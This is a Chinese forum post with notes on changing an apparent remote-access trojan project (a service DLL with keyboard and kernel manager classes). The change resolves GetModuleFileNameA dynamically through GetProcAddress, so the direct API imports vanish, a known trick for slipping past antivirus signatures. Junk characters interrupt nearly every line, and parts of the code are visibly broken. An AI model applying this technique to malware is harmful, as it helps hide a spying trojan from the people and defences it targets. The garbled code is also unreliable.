|

- 帖子
- 11
- 积分
- 14
- 威望
- 17
- 金钱
- 10
- 在线时间
- 0 小时
|
全局动态调用笔记
2 t$ r, M( d: n0 Vsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
" w2 h- i3 \4 o' N---------------------------------------- M s9 O7 J. d. N/ F/ g
DTDY.h:
/ A0 q( x6 u' W$ T7 O9 I! `1 h
+ k2 c4 w) N8 V, Y" o' P#if _MSC_VER>1000
; L! u4 E. q& _3 @: b#pragma once
3 O+ ~- F( |3 ]0 Q& x m#endif //_MSC_VER>1000, E( x8 l. Q1 S6 ^1 l
#include<windows.h>
+ }3 |5 r# `+ `
! R, }: r0 F. L6 V0 }2 Stypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);6 s5 y# Q8 C+ d3 u+ i+ t4 I
class DTDY* v1 t* P# X; o1 @9 W" `& `( p+ }8 _
{
/ r" y3 A. n) h% b' Z. {. ppublic:. u! d2 o/ V/ p9 `- C" ~1 q2 M
DTDY();
. ~7 s+ |8 j- z% dvirtual ~DTDY();1 e% K, y4 S4 c4 H, D, ]
public:
' f0 n ^7 i+ J% b% g. U% U: Bstatic pGetModuleFileNameA MyGetModuleFileName;, _' x6 d! P+ N* d* P4 [" ~
static BOOL FunInitiallization();, e% e/ }% z9 J q' d
};, P1 G% Q# h* M Z1 b6 P) g" s
#endif: z( L# \* D5 X0 j, p
----------------------------------------9 Z9 N3 w X. E; R# Z2 z( k0 v
2 p3 i& Z) b( @# C" l
DTDY.cpp:
- v4 |. o& O9 V0 U# R. M$ D" `+ }7 f
#include "DTDY.h". S5 h( P/ u y9 C
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
2 h2 @& v5 I3 A8 _; J2 hDTDY:TDY()
, w& ]8 {9 \# `8 {{9 l7 j }5 s) t- N
}5 a8 ]' l1 _% h8 Y' L
DTDY::~DTDY()2 [/ c" M: v; O4 d1 f3 q
{
% k9 z8 R$ Y6 S/ w$ c}& p+ [0 o0 a: @: W, x7 K
BOOL DTDY::FunInitiallization()
& F( @8 Y( m4 B" W% T8 E3 k# m{; O/ k: T a5 @
HMODULE hModule=LoadLibrary("kernel32.dll");
" Z# o1 y! H+ [0 O9 kMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
/ b0 `% t0 y. Y9 F' U5 o' Dif(!MyGetModuleFileName=) return FALSE;
7 O& Z. l; j- I# V, @+ z! B( m, n* b
" G- F$ P! [& Q4 r! L! M/ H1 N4 o6 preturn TRUE;
5 E9 `1 C1 z( u}" e* z/ _+ U2 y% @- d& k
----------------------------------------: l/ t* ?$ r9 A6 E0 J S
svchost.cpp:6 G% t* L+ q1 v! \
`+ M4 ?! d) G$ T- i; Q#include "DTDY.h"
4 z3 Q9 p! a$ l* |! y4 u- \! z. _. h, k+ x) o
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
2 {; Y+ S4 b9 M( v{
: ]9 D( x# W% Xswitch(ul_reason_for_call)
, N! c8 e" s' ]* X# N+ f$ r$ y{
) B- w2 F0 d+ I$ j2 r+ [( Bcase DLL_PROCESS_ATTACH:
1 b; F3 V+ L2 D/ J& Eif(!DTDY::FunInitiallization()) return FALSE;( ?# V0 j$ ]% G. i5 ]$ @
* v; t$ S- I+ {! H% E9 u: X( `break;% R" Z) l3 w* [% s5 q$ |
}
# L9 f& v: n& t( J6 A( j* l F}
f0 m& @4 h) ], [7 F" w# Y- Y1 X- r- j
: u3 Z4 u. R2 W( y; J
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
1 O4 h) L+ k B4 y改写为
0 E4 @2 D; m; g5 XDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName)); Y8 ^/ ] G, R1 c, R* z1 P3 g0 ~1 S
----------------------------------------6 g/ d( K( S, J# j; a0 \% _6 z1 n
KernelManager.cpp:1 L* j# @, l# b! j
' B% P/ |0 b$ ~0 I5 a
#include "../DTDY.h"
8 H% |# q0 X3 D9 a) x* QGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));) O# _+ D1 w+ j: P% a; H
改写为
/ H3 I" X$ g' J+ q( k9 J1 vDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
0 F2 t" P; t4 i+ ^) M2 p6 B+ \1 ?---------------------------------------- |
|